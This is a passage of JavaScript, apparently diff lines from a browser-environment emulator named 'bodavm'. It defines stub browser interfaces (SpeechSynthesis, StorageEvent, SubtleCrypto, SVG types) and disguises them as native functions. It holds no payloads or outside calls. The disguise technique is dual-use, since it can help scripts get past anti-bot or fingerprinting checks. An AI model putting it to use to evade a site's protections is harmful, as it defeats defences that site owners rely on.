-bodavm.memory.globalobj['showSaveFilePicker'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('showSaveFilePicker', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('showSaveFilePicker', "name", {configurable:true, enumerable:false, writable:false, value:"showSaveFilePicker"}); - -// SourceBufferList对象 -bodavm.memory.globalobj['SourceBufferList'] = function SourceBufferList(){if (!(this instanceof SourceBufferList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SourceBufferList'], "SourceBufferList"); -bodavm.memory.globalobj['SourceBufferList'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['SourceBufferList'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('SourceBufferList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBufferList', "onaddsourcebuffer", {configurable:true, enumerable:true, get:function onaddsourcebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onaddsourcebuffer_get", arguments)}, set:function onaddsourcebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onaddsourcebuffer_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SourceBufferList', "onremovesourcebuffer", {configurable:true, enumerable:true, get:function onremovesourcebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onremovesourcebuffer_get", arguments)}, set:function onremovesourcebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBufferList'].prototype, "SourceBufferList", "onremovesourcebuffer_set", arguments)}},'prototype'); - -bodavm.memory.globalobj['SpeechSynthesis'] = function SpeechSynthesis() {this._boisinit=bodavm.config.isinit; return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") } -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesis'], "SpeechSynthesis"); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "cancel", { writable: true, enumerable: true, configurable: true, value: function cancel() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "cancel", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "getVoices", { writable: true, enumerable: true, configurable: true, value: function getVoices() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "getVoices", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pause", { writable: true, enumerable: true, configurable: true, value: function pause() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "pause", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "resume", { writable: true, enumerable: true, configurable: true, value: function resume() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "resume", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speak", { writable: true, enumerable: true, configurable: true, value: function speak() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "speak", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "paused", { set: undefined, enumerable: true, configurable: true, get: function paused() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "paused_get ", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pending", { set: undefined, enumerable: true, configurable: true, get: function pending() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "pending_get ", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speaking", { set: undefined, enumerable: true, configurable: true, get: function speaking() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "speaking_get ", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "onvoiceschanged", { configurable: true, enumerable: true, get: function onvoiceschanged() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "onvoiceschanged_get ", arguments) }, set: function onvoiceschanged() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "onvoiceschanged_set", arguments) } },'prototype'); - - -// speechSynthesis对象 -bodavm.memory.globalobj[ 'speechSynthesis'] = { - _boisinit:bodavm.config.isinit - -} -bodavm.memory.globalobj[ 'speechSynthesis'].__proto__=bodavm.memory.globalobj['SpeechSynthesis'] .prototype; -delete SpeechSynthesis - - - -// SpeechSynthesisEvent对象 - -bodavm.memory.globalobj['SpeechSynthesisEvent'] = function SpeechSynthesisEvent(){if (!(this instanceof SpeechSynthesisEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechSynthesisEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisEvent'], "SpeechSynthesisEvent"); - -bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; - -bodavm.memory.globalobj['SpeechSynthesisEvent'].__proto__=bodavm.memory.globalobj['Event']; - -bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "utterance", {configurable:true, enumerable:true, get:function utterance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "utterance_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "charIndex", {configurable:true, enumerable:true, get:function charIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "charIndex_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "charLength", {configurable:true, enumerable:true, get:function charLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "charLength_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "elapsedTime", {configurable:true, enumerable:true, get:function elapsedTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "elapsedTime_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('SpeechSynthesisEvent', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype, "SpeechSynthesisEvent", "name_get", arguments)}, set:undefined},'prototype'); - - -// SpeechSynthesisErrorEvent对象 -bodavm.memory.globalobj['SpeechSynthesisErrorEvent'] = function SpeechSynthesisErrorEvent(){if (!(this instanceof SpeechSynthesisErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechSynthesisErrorEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisErrorEvent'], "SpeechSynthesisErrorEvent"); -bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['SpeechSynthesisEvent'].prototype; -bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].__proto__=bodavm.memory.globalobj['SpeechSynthesisEvent']; -bodavm.toolsFunc.defineProperty('SpeechSynthesisErrorEvent', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisErrorEvent'].prototype, "SpeechSynthesisErrorEvent", "error_get", arguments)}, set:undefined},'prototype'); - -// StaticRange对象 -bodavm.memory.globalobj['StaticRange'] = function StaticRange(){if (!(this instanceof StaticRange)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StaticRange': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StaticRange'], "StaticRange"); -bodavm.memory.globalobj['StaticRange'].prototype.__proto__=bodavm.memory.globalobj['AbstractRange'].prototype; -bodavm.memory.globalobj['StaticRange'].__proto__=bodavm.memory.globalobj['AbstractRange']; - -// status对象 -bodavm.memory.globalobj['status'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('status', "length", {configurable:false, enumerable:false, writable:false, value:0}); - -// statusbar对象 -bodavm.memory.globalobj['statusbar'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['statusbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; - -// StereoPannerNode对象 -bodavm.memory.globalobj['StereoPannerNode'] = function StereoPannerNode(){if (!(this instanceof StereoPannerNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StereoPannerNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StereoPannerNode'], "StereoPannerNode"); -bodavm.memory.globalobj['StereoPannerNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['StereoPannerNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('StereoPannerNode', "pan", {configurable:true, enumerable:true, get:function pan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StereoPannerNode'].prototype, "StereoPannerNode", "pan_get", arguments)}, set:undefined},'prototype'); - -// stop对象 -bodavm.memory.globalobj['stop'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('stop', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('stop', "name", {configurable:true, enumerable:false, writable:false, value:"stop"}); - -// StorageEvent对象 -bodavm.memory.globalobj['StorageEvent'] = function StorageEvent(){if (!(this instanceof StorageEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StorageEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StorageEvent'], "StorageEvent"); -bodavm.memory.globalobj['StorageEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['StorageEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('StorageEvent', "key", {configurable:true, enumerable:true, get:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "key_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StorageEvent', "oldValue", {configurable:true, enumerable:true, get:function oldValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "oldValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StorageEvent', "newValue", {configurable:true, enumerable:true, get:function newValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "newValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StorageEvent', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StorageEvent', "storageArea", {configurable:true, enumerable:true, get:function storageArea (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "storageArea_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StorageEvent', "initStorageEvent", {configurable:true, enumerable:true, writable:true, value:function initStorageEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "initStorageEvent", arguments)}},'prototype'); - -// structuredClone对象 -bodavm.memory.globalobj['structuredClone'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('structuredClone', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('structuredClone', "name", {configurable:true, enumerable:false, writable:false, value:"structuredClone"}); - -bodavm.memory.globalobj['StyleMedia'] = function StyleMedia() { return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") } -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleMedia'] , "StyleMedia"); -bodavm.toolsFunc.defineProperty('StyleMedia', "matchMedium", { configurable: true, enumerable: true, get: function matchMedium() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleMedia'].prototype, "StyleMedia", "matchMedium", arguments) }, set: undefined },'prototype'); - -// styleMedia对象 -bodavm.memory.globalobj[ 'styleMedia']= {_boisinit:bodavm.config.isinit} -bodavm.memory.globalobj[ 'styleMedia'].__proto__=bodavm.memory.globalobj['StyleMedia'] .prototype; - -// StylePropertyMapReadOnly对象 -bodavm.memory.globalobj['StylePropertyMapReadOnly'] = function StylePropertyMapReadOnly(){if (!(this instanceof StylePropertyMapReadOnly)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StylePropertyMapReadOnly'], "StylePropertyMapReadOnly"); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "getAll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "values", arguments)}},'prototype'); - -// StylePropertyMap对象 - -bodavm.memory.globalobj['StylePropertyMap'] = function StylePropertyMap(){if (!(this instanceof StylePropertyMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StylePropertyMap'], "StylePropertyMap"); - -bodavm.memory.globalobj['StylePropertyMap'].prototype.__proto__=bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype; - -bodavm.memory.globalobj['StylePropertyMap'].__proto__=bodavm.memory.globalobj['StylePropertyMapReadOnly']; - -bodavm.toolsFunc.defineProperty('StylePropertyMap', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "append", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('StylePropertyMap', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('StylePropertyMap', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('StylePropertyMap', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "set", arguments)}},'prototype'); - - -// StyleSheetList对象 -bodavm.memory.globalobj['StyleSheetList'] = function StyleSheetList(){if (!(this instanceof StyleSheetList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleSheetList'], "StyleSheetList"); -bodavm.toolsFunc.defineProperty('StyleSheetList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheetList'].prototype, "StyleSheetList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheetList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheetList'].prototype, "StyleSheetList", "item", arguments)}},'prototype'); - -// SubmitEvent对象 -bodavm.memory.globalobj['SubmitEvent'] = function SubmitEvent(){if (!(this instanceof SubmitEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SubmitEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SubmitEvent'], "SubmitEvent"); -bodavm.memory.globalobj['SubmitEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['SubmitEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('SubmitEvent', "submitter", {configurable:true, enumerable:true, get:function submitter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubmitEvent'].prototype, "SubmitEvent", "submitter_get", arguments)}, set:undefined},'prototype'); - -// SubtleCrypto对象 -bodavm.memory.globalobj['SubtleCrypto'] = function SubtleCrypto(){if (!(this instanceof SubtleCrypto)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SubtleCrypto'], "SubtleCrypto"); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "decrypt", {configurable:true, enumerable:true, writable:true, value:function decrypt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "decrypt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "deriveBits", {configurable:true, enumerable:true, writable:true, value:function deriveBits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "deriveBits", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "deriveKey", {configurable:true, enumerable:true, writable:true, value:function deriveKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "deriveKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "digest", {configurable:true, enumerable:true, writable:true, value:function digest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "digest", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "encrypt", {configurable:true, enumerable:true, writable:true, value:function encrypt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "encrypt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "exportKey", {configurable:true, enumerable:true, writable:true, value:function exportKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "exportKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "generateKey", {configurable:true, enumerable:true, writable:true, value:function generateKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "generateKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "importKey", {configurable:true, enumerable:true, writable:true, value:function importKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "importKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "sign", {configurable:true, enumerable:true, writable:true, value:function sign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "sign", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "unwrapKey", {configurable:true, enumerable:true, writable:true, value:function unwrapKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "unwrapKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "verify", {configurable:true, enumerable:true, writable:true, value:function verify (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "verify", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SubtleCrypto', "wrapKey", {configurable:true, enumerable:true, writable:true, value:function wrapKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SubtleCrypto'].prototype, "SubtleCrypto", "wrapKey", arguments)}},'prototype'); - -// SVGAElement对象 -bodavm.memory.globalobj['SVGAElement'] = function SVGAElement(){if (!(this instanceof SVGAElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAElement'], "SVGAElement"); -bodavm.memory.globalobj['SVGAElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGAElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGAElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAElement'].prototype, "SVGAElement", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAElement'].prototype, "SVGAElement", "href_get", arguments)}, set:undefined},'prototype'); - -// SVGAngle对象 -bodavm.memory.globalobj['SVGAngle'] = function SVGAngle(){if (!(this instanceof SVGAngle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAngle'], "SVGAngle"); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNSPECIFIED", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_DEG", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_RAD", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_GRAD", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGAngle', "unitType", {configurable:true, enumerable:true, get:function unitType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "unitType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "valueInSpecifiedUnits", {configurable:true, enumerable:true, get:function valueInSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueInSpecifiedUnits_get", arguments)}, set:function valueInSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueInSpecifiedUnits_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "valueAsString", {configurable:true, enumerable:true, get:function valueAsString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueAsString_get", arguments)}, set:function valueAsString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "valueAsString_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_UNSPECIFIED", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_DEG", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_RAD", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "SVG_ANGLETYPE_GRAD", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "convertToSpecifiedUnits", {configurable:true, enumerable:true, writable:true, value:function convertToSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "convertToSpecifiedUnits", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAngle', "newValueSpecifiedUnits", {configurable:true, enumerable:true, writable:true, value:function newValueSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAngle'].prototype, "SVGAngle", "newValueSpecifiedUnits", arguments)}},'prototype'); - -// SVGAnimatedAngle对象 -bodavm.memory.globalobj['SVGAnimatedAngle'] = function SVGAnimatedAngle(){if (!(this instanceof SVGAnimatedAngle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedAngle'], "SVGAnimatedAngle"); -bodavm.toolsFunc.defineProperty('SVGAnimatedAngle', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedAngle'].prototype, "SVGAnimatedAngle", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedAngle', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedAngle'].prototype, "SVGAnimatedAngle", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimatedBoolean对象 -bodavm.memory.globalobj['SVGAnimatedBoolean'] = function SVGAnimatedBoolean(){if (!(this instanceof SVGAnimatedBoolean)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedBoolean'], "SVGAnimatedBoolean"); -bodavm.toolsFunc.defineProperty('SVGAnimatedBoolean', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return 